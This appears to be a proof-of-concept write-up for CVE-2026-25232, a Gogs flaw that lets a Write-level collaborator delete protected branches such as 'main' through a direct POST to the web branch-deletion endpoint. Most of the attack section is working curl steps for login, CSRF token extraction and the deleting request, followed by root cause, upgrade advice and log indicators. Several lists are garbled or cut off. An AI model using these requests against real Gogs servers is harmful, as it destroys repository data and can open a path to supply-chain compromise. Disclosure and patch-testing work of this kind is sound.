
Proof of concept for the recent CVE-2026-25232 which is a priv esc vulnerability present in Gogs.
| Field | Details |
|---|---|
| CVE | CVE-2026-25232 |
| Product | Gogs (Go Git Service) |
| Affected Versions | <= 0.13.4 |
| Fixed Version | 0.14.1 |
| CVSS Score | Medium |
| CWE | CWE-863: Incorrect Authorization |
| Authentication Required | Yes (Write permissions on a repository) |
| Impact | Privilege escalation from Write → Admin level operations |
CVE-2026-25232 is an access control bypass vulnerability in the Gogs web interface. It allows any repository collaborator with Write permissions to delete protected branches — including the default branch — by sending a direct POST request to the DeleteBranchPost endpoint, completely bypassing branch protection mechanisms.
The root cause is a discrepancy between how the Git Hook layer and the web interface enforce branch protection:
DeleteBranchPost function does not trigger Git Hooks, so the protection check is never executedThis allows a low-privilege collaborator to perform operations that should be restricted to repository administrators only.
http://<TARGET>:3001attacker:Password123! (Write permissions on repo)admin/important-repomain (default branch)Confirm the branch is protected and cannot be deleted via normal means:
# Attempt normal branch deletion via API - this should fail
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
Expected response: 403 Forbidden or protection error.
Fetch the CSRF token from any authenticated page:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# Extract CSRF token from a repo page
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
Send a direct POST request to the branch deletion endpoint, bypassing the protection check:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
The protected branch is deleted despite the attacker only having Write permissions.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
The main branch will no longer appear in the response.
The DeleteBranchPost function in Gogs' web handler validates that the user is authenticated and has Write access to the repository, but does not check whether the target branch is protected:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
Check: Is user authenticated? ✓
Check: Does user have Write access? ✓
Check: Is branch protected? ✗ (MISSING)
↓
Branch deleted successfully
The Git Hook layer that enforces branch protection is only triggered during Git push/delete operations over SSH or HTTP Git protocol — not during web interface operations. This architectural gap means any Write-level collaborator can perform this operation.
A malicious collaborator with Write permissions can:
In environments where Gogs repositories feed into automated deployment pipelines, this could lead to supply chain compromise.
Upgrade to Gogs v0.14.1 or later. The fix adds proper authorization checks in the DeleteBranchPost function to verify branch protection status before allowing deletion, regardless of how the request is made.
As a temporary mitigation:
/repos/{owner}/{repo}/branches/deleteLook for the following indicators of exploitation:
/<owner>/<repo>/branches/delete in web server logsThis PoC is for educational purposes and authorised security testing only. Do not use against systems you do not have explicit permission to test.